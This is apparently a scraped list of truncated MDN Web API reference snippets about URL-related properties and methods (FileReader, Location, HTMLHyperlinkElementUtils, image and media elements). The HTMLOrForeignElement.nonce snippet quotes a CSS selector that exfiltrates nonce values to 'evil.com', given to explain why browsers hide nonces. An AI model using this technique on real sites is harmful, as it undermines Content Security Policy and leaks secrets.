url request in the cache object. if no match is found, the code checks for a preloaded response. else it fetches a response from the network. addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded res...
FileError - Web APIs
e type description code unsigned short the most appropriate error code for the condition. see error codes for possible values. error codes note: do not rely on the numeric values of the constants, which might change as the specifications continue to change. use the constant names instead. constant value description encoding_err 5 the
url is malformed. make sure that the
url is complete and valid. invalid_modification_err 9 the modification requested is not allowed. for example, the app might be trying to move a directory into its own child or moving a file into its parent directory without changing its name. invalid_state_err 7 the operation cannot be performed on the current state of the interface o...
FileException - Web APIs
tml5rocks attribute attribute type description code unsigned short the most appropriate error code for the condition. constants note: do not rely on the numeric values of the constants, which might change as the specifications continue to change. use the constant names instead. constant value description encoding_err 5 the
url is malformed. make sure that the
url is complete and valid. invalid_modification_err 9 the modification requested is not allowed. examples of invalid modifications include moving a directory into its own child or moving a file into its parent directory without changing its name. invalid_state_err 7 the operation cannot be performed on the current state of the interfa...
FileReader: abort event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: error event - Web APIs
nction handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status file api working draft ...
FileReader: load event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.onload - Web APIs
the filereader.onload property contains an event handler executed when the load event is fired, when content read with readasarraybuffer, readasbinarystring, readasdata
url or readastext is available. example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader: progress event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.result - Web APIs
used to initiate the read operation. the value is null if the reading is not yet complete or was unsuccessful. the result types are described below. method description readasarraybuffer() the result is a javascript arraybuffer containing binary data. readasbinarystring() the result contains the raw binary data from the file in a string. readasdata
url() the result is a string with a data:
url representing the file's data. readastext() the result is text in a string. example this example presents a function, read(), which reads a file from a file input. it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the callback functi...
FileReader - Web APIs
readystate will be done. filereader.readasarraybuffer() starts reading the contents of the specified blob, once finished, the result attribute contains an arraybuffer representing the file's data. filereader.readasbinarystring() starts reading the contents of the specified blob, once finished, the result attribute contains the raw binary data from the file as a string. filereader.readasdata
url() starts reading the contents of the specified blob, once finished, the result attribute contains a data:
url representing the file's data. filereader.readastext() starts reading the contents of the specified blob, once finished, the result attribute contains the contents of the file as a text string. an optional encoding name can be specified. events listen to these events using addeventli...
FileReaderSync.readAsArrayBuffer() - Web APIs
blematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data
url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out h...
FileReaderSync.readAsBinaryString() - Web APIs
blematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data
url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readasbinarystringsync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out ...
FileReaderSync.readAsText() - Web APIs
blematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data
url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readastext' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://gith...
FontFace.family - Web APIs
the fontface.family property allows the author to get or set the font family of a fontface object. this is equivalent to the font-family descriptor of @font-face. syntax instanceoffontface.family = 'font family name'; var fontface = instanceoffontface.family; // "font family name" value a domstring. example var fontface = new fontface('roboto', '
url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification. working draft initial definition ...
FormData - Web APIs
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method. it uses the same format a form would use if the encoding type were set to "multipart/form-data". you can also pass it directly to the
urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission. an object implementing formdata can directly be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()). note: this feature is available in web workers. constructor formdata() creates a new formdata object. methods formdata.append() appends a ...
Using the Geolocation API - Web APIs
error has been returned, and a human-readable message that describes what the error code means. you could use it like so: function errorcallback(error) { alert(`error(${error.code}): ${error.message}`); }; examples in the following example the geolocation api is used to retrieve the user's latitude and longitude. if sucessful, the available hyperlink is populated with an openstreetmap.org
url that will show their location. body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.h...
Geolocation API - Web APIs
all other functionality can be accessed. dictionaries positionoptions represents an object containing options to pass in as a parameter of geolocation.getcurrentposition() and geolocation.watchposition(). examples in the following example the geolocation api is used to retrieve the user's latitude and longitude. if sucessful, the available hyperlink is populated with an openstreetmap.org
url that will show their location. body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.h...
HTMLAnchorElement.referrerPolicy - Web APIs
referrerpolicy attribute of the <a> element defining which referrer is sent when fetching the resource. syntax refstr = anchorelt.referrerpolicy; anchorelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-
url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe as it can leak path information that has been concealed to third-party by using tls. examples var elt = document.createelement("a"); var linktext = document.createtextnode("my link"); elt.appendchild(linktext); elt.href = "https://developer.mozilla.org/"; elt.r...
HTMLAreaElement.referrerPolicy - Web APIs
l referrerpolicy attribute of the <area> element defining which referrer is sent when fetching the resource. syntax refstr = areaelt.referrerpolicy; areaelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-
url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe as it can leak path information that has been concealed to third-party by using tls. examples <img usemap="#maparound" width="100" height="100" src="/img/logo@2x.png" /> <map id="mymap" name="maparound" />> var elt = document.createelement("area"); elt.href = ...
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio. syntax audioobj = new audio(
url); parameters
url optional an optional domstring containing the
url of an audio file to be associated with the new audio element. return value a new htmlaudioelement object, configured to be used for playing back the audio from the file specified by
url.the new object's preload property is set to auto and its src property is set to the specified
url or null if no
url is given. if a
url is specified, the browser begins to asynchronously load the media resource before returning the new object. usage notes you can also use other element-creatio...
HTMLAudioElement - Web APIs
properties no specific properties; inherits properties from its parent, htmlmediaelement, and from htmlelement. methods inherits methods from its parent, htmlmediaelement, and from htmlelement. it offers no methods of its own. obsolete mozilla-only methods the following methods are non-standard and should not be used. mozcurrentsampleoffset() returns the number of sample...
HTMLBaseElement - Web APIs
y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbaseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbaseelement.href is a domstring that reflects the href html attribute, containing a base
url for relative
urls in the document. htmlbaseelement.target is a domstring that reflects the target html attribute, containing a default target browsing context or frame for elements that do not have a target reference specified. methods no specific method; inherits attributes from its parent, htmlelement. specifications specification status comment html living standa...
HTMLCanvasElement - Web APIs
text() returns a drawing context on the canvas, or null if the context id is not supported. a drawing context lets you draw on the canvas. calling getcontext with "2d" returns a canvasrenderingcontext2d object, whereas calling it with "webgl" (or "experimental-webgl") returns a webglrenderingcontext object. this context is only available on browsers that implement webgl. htmlcanvaselement.todata
url() returns a data-
url containing a representation of the image in the format specified by the type parameter (defaults to png). the returned image is in a resolution of 96dpi. htmlcanvaselement.toblob() creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent. htmlcanvaselement.transfercont...
HTMLElement.lang - Web APIs
the value of lang elementnodereference.lang = newlanguage; // set new value for lang languageused is a string variable that gets the language in which the text of the current element is written. newlanguage is a string variable with its value setting the language in which the text of the current element is written. example // this snippet compares the base language and // redirects to another
url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification. ob...
HTMLFormElement.enctype - Web APIs
the htmlformelement.enctype property is the mime type of content that is used to submit the form to the server. possible values are: application/x-www-form-
urlencoded: the initial default type. multipart/form-data: the type that allows file <input> element(s) to upload file data. text/plain: a type introduced in html5. this value can be overridden by a formenctype attribute on a <button> or <input> element. syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-
urlencoded'; specifications specification status comment html living standardthe definition of 'htmlformelement: enctype' in that specification. living standard ...
HTMLFormElement - Web APIs
var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n"); // set the form's <textarea> to display the form's properties document.forms["forma"].elements['form-info'].value = info; // document.forms["forma"]['form-info'].value would also work } function setforminfo(f){ // argument should be a form element reference. ...
HTMLHyperlinkElementUtils.hash - Web APIs
the htmlhyperlinkelementutils.hash property returns a usvstring containing a '#' followed by the fragment identifier of the
url. the fragment is not percent-decoded. if the
url does not have a fragment identifier, this property contains an empty string, "". syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification. living standard initial definition ...
HTMLHyperlinkElementUtils.host - Web APIs
the htmlhyperlinkelementutils.host property is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', and the port of the
url. syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment htm...
HTMLHyperlinkElementUtils.hostname - Web APIs
the htmlhyperlinkelementutils.hostname property is a usvstring containing the domain of the
url. syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification. living standard initial definition. ...
HTMLHyperlinkElementUtils.href - Web APIs
the htmlhyperlinkelementutils.href property is a stringifier that returns a usvstring containing the whole
url, and allows the href to be updated. syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification. living standard initial definition. ...
HTMLHyperlinkElementUtils.pathname - Web APIs
the htmlhyperlinkelementutils.pathname property is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path). syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification. living standard initial definition. ...
HTMLHyperlinkElementUtils.port - Web APIs
the htmlhyperlinkelementutils.port property is a usvstring containing the port number of the
url. if the
url does not contain an explicit port number, it will be set to ''. syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification. living standard initial definition. ...
HTMLHyperlinkElementUtils.protocol - Web APIs
the htmlhyperlinkelementutils.protocol property is a usvstring representing the protocol scheme of the
url, including the final ':'. syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification. living standard initial definition. ...
HTMLIFrameElement.src - Web APIs
ameelement.src property reflects the html referrerpolicy attribute of the <iframe> element defining which referrer is sent when fetching the resource. syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete
url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-d...
HTMLImageElement.complete - Web APIs
hich is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work. this is demonstrated in the code below. let lightboxelem = document.queryselector("#lightbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(
url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src =
url; }); } async function lightbox(
url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ... */ function fixredeyecommand() { if (lightboxelem.s...
HTMLImageElement.currentSrc - Web APIs
this is useful when you provide multiple image options using the sizes and/or htmlimageelement.srcset properties. currentsrc lets you determine which image from the set of provided images was selected by the browser. example in this example, two different sizes are provided for an image of a clock. one is 200px wide and the other is 400px wide. ...
HTMLImageElement.decode() - Web APIs
eption indicating that an error occurred while decoding the image. usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's
url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use. at that time, you can then replace the low-resolution image with the full-resolution one that's now available. examples the following example shows how to use the decode() method to control when an image is appended to the dom. without a promise-returning method, you would add the image to t...
HTMLImageElement.isMap - Web APIs
s true if the image is being used for a server-side image map; otherwise, the value is false. usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels. the browser then fetches that
url from the server and displays or downloads it depending on the value of the download attribute. unlike server-side image maps, client-side image maps don't cause the <img> element to adopt interactive content mode. specifications specification status comment html living standardthe definition of 'htmlimageelement.ismap' in that specification. living standard ...
HTMLImageElement.lowSrc - Web APIs
the htmlimageelement interface's obsolete lowsrc property can be used to specify the
url of a reduced-quality or otherwise faster-loading version of the image specified by the src property. this property reflects the html lowsrc attribute. syntax htmlimageelement.lowsrc = image
url; image
url = htmlimageelement.lowsrc; value a domstring specifying the
url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image. there are a number of ways to achieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%. reduced color depth; a primary image in 32-bit color might have an alternate image in...
HTMLImageElement.referrerPolicy - Web APIs
ferrer is sent when fetching the resource. syntax refstr = imgelt.referrerpolicy; imgelt.referrerpolicy = refstr; values a domstring representing the referrer policy. possible values are: "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-
url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe as it can leak path information that has been concealed to third-party by using tls. examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the ima...
HTMLImageElement.src - Web APIs
ent property src, which reflects the html src attribute, specifies the image to display in the <img> element. syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the
url of the desired image. this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property. if you use the srcset content attribute to provide multiple image options for different display pixel densities, the
url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset. ...
HTMLImageElement.useMap - Web APIs
the usemap property on the htmlimageelement interface reflects the value of the html usemap attribute, which is a string providing the name of the client-side image map to apply to the image. syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local
url (that is, a
url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image. you can learn more about client-side image maps in our learning article add a hitmap on top of an image. usage notes the string value of usemap must be a valid anchor for a <map> element. in other words, this string should be the value of the appropriate <map>'s name attribute with a pound or hash symbol prepended to it. ...
HTMLInputElement.setSelectionRange() - Web APIs
e, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call. note that accordingly to the whatwg forms spec selectionstart, selectionend properties and setselectionrange method apply only to inputs of types text, search,
url, tel and password. chrome, starting from version 33, throws an exception while accessing those properties and method on the rest of input types. for example, on input of type number: "failed to read the 'selectionstart' property from 'htmlinputelement': the input element's type ('number') does not support selection". if you wish to select all text of an input element, you can use the htmlinputel...
HTMLLinkElement.rel - Web APIs
the htmllinkelement.rel property reflects the rel attribute. it is a domstring containing a space-separated list of link types indicating the relationship between the resource represented by the <link> element and the current document. the most common use of this attribute is to specify a link to an external style sheet: the property is set to stylesheet, and the href attribute is set to the
url of an external style sheet to format the page. syntax var relstr = linkelt.rel; linkelt.rel = relstr; example var links = document.getelementsbytagname('link'); var length = links.length; for (var i = 0; i < length; i++) { alert(links[i]); } specifications specification status comment html living standardthe definition of 'rel' in that specification. living s...
HTMLMediaElement.currentSrc - Web APIs
the htmlmediaelement.currentsrc property contains the absolute
url of the chosen media resource. this could happen, for example, if the web server selects a media file based on the resolution of the user's display. the value is an empty string if the networkstate property is empty. syntax var media
url = audioobject.currentsrc; value a domstring object containing the absolute
url of the chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided. example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html liv...
HTMLMediaElement.src - Web APIs
the htmlmediaelement.src property reflects the value of the html media element's src attribute, which indicates the
url of a media resource to use in the element. note: the best way to know the
url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource from a list provided in an htmlsourceelement (which represents a <source> element). syntax var media
url = htmlmediaelement.src; value a usvstring object containing the
url of a media resource to use in the element; this property reflects the value of the html element's src attribute. example var obj = document.createelement('video'); console.log(obj.src); // "" specifications specificati...
HTMLOrForeignElement.nonce - Web APIs
|| script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background:
url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktop...
HTMLQuoteElement - Web APIs
"411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlquoteelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlquoteelement.cite is a domstring reflecting the cite html attribute, containing a
url for the source of the quotation. methods no specific method; inherits properties from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlquoteelement' in that specification. living standard html5the definition of 'htmlquoteelement' in that specification. recommendation no change from d...
HTML Drag and Drop API - Web APIs
ata, see drag data. define the drag image by default, the browser supplies an image that appears beside the pointer during a drag operation. however, an application may define a custom image with the setdragimage() method, as shown in the following example. function dragstart_handler(ev) { // create an image and then use it for the drag image. // note: change "example.gif" to a real image
url or the image // will not be created and the default drag image will be used. let img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } learn more about drag feedback images in: setting the drag feedback image define the drag effect the dropeffect property is used to control the feedback the user is given during a drag-and-drop operation. it typic...
ImageCapture.takePhoto() - Web APIs
mg> element. for simplicy it does not show how to instantiate the imagecapture object. var takephotobutton = document.queryselector('button#takephoto'); var canvas = document.queryselector('canvas'); takephotobutton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src =
url.createobject
url(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data...
Basic concepts - Web APIs
he wikipedia article on object database. indexeddb does not use structured query language (sql). it uses queries on an index that produces a cursor, which you use to iterate across the result set. if you are not familiar with nosql systems, read the wikipedia article on nosql. indexeddb adheres to a same-origin policy. an origin is the domain, application layer protocol, and port of a
url of the document where the script is being executed. each origin has its own associated set of databases. every database has a name that identifies it within an origin. the security boundary imposed on indexeddb prevents applications from accessing data with a different origin. for example, while an app or a page in http://www.example.com/app/ can retrieve data from http://www.example.com/dir/,...
Browser storage limits and eviction criteria - Web APIs
default data storage repository note: after introducing storage api, the "permanent" folder can be considered obsolete; the "permanent" folder only stores indexeddb persistent-type databases. it doesn't matter if box mode is "best-effort" or "persistent" — data is stored under <profile>/storage/default. note: in firefox, you can find your profile folder by entering about:support in the
url bar, and pressing the show in... button (e.g., show in finder on mac os x) next to the profile folder title. note: if you are looking around in your profile at the data stored, you might see a fourth folder: persistent. basically, the persistent folder was renamed to permanent a while ago to keep upgrades/migration simpler. note: users shouldn’t add their own directories or files under <p...
install - Web APIs
ions to pass to a single install. as with the older startsoftwareupdate method, xpis installed with this method must have their own install.js files in which the full installation is defined. ...
installChrome - Web APIs
installchrome installs new skin or locale packages in netscape 6 and mozilla. method of installtrigger object syntax int installchrome( type,
url, name ) parameters the installchrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale.
url url is a string containing a full or relative
url to download name name is displayed in the dialog, but is also used to *select* the theme somust match exactly the name in the internal manifest.rdf file. returns a boolean value indicating false if the software install feature has been turned off, and true if it's on. note that this return value does not indicate anything about the success of the installation. description installchrome is a special method for ...
LargestContentfulPaint - Web APIs
available if the element is a cross-origin image loaded without the timing-allow-origin header. largestcontentfulpaint.loadtime the time the element was loaded. largestcontentfulpaint.size the intrinsic size of the element returned as the area (width * height). largestcontentfulpaint.id the id of the element. this property returns an empty string when there is no id. largestcontentfulpaint.
url if the element is an image, the request
url of the image. methods largestcontentfulpaint.tojson() returns the above properties as json. examples the following example shows how to create a performanceobserver that listens for largest-contentful-paint entries and logs the lcp value to the console. this example also demonstrates how to include buffered entries (those that ocurred before ...
Location: assign() - Web APIs
the location.assign() method causes the window to load and display the document at the
url specified. after the navigation occurs, the user can navigate back to the page that called location.assign() by pressing the "back" button. if the assignment can't happen because of a security violation, a domexception of the security_error type is thrown. this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain. if the provided
url is not valid, a domexception of the syntax_error type is thrown. syntax location.assign(
url); parameters
url is a domstring containing the
url of the page to navigate to. example // navigate to the location.reload artic...
Location: hash - Web APIs
the hash property of the location interface returns a usvstring containing a '#' followed by the fragment identifier of the
url. the fragment is not percent-decoded. if the
url does not have a fragment identifier, this property contains an empty string, "". syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification. living standard initial definition ...
Location: host - Web APIs
the host property of the location interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', and the port of the
url. syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that s...
Location: hostname - Web APIs
the hostname property of the location interface is a usvstring containing the domain of the
url. syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification. living standard initial definition. ...
Location: pathname - Web APIs
the pathname property of the location interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path). syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification. living standard initial definition. ...
Location: port - Web APIs
the port property of the location interface is a usvstring containing the port number of the
url. if the
url does not contain an explicit port number, it will be set to ''. syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification. living standard initial definition. ...
Location: protocol - Web APIs
the protocol property of the location interface is a usvstring representing the protocol scheme of the
url, including the final ':'. syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification. living standard initial definition. ...
Location: reload() - Web APIs
the reload may be blocked and a security_error domexception thrown. this happens if the origin of the script calling location.reload() differs from the origin of the page that owns the location object. see same-origin policy for more information. syntax location.reload(); specifications specification status comment html living standardthe definition of 'location.reload()' in that specification. living standard no change from html5. html5the definition of 'location.reload()' in that specification. ...
MediaImage - Web APIs
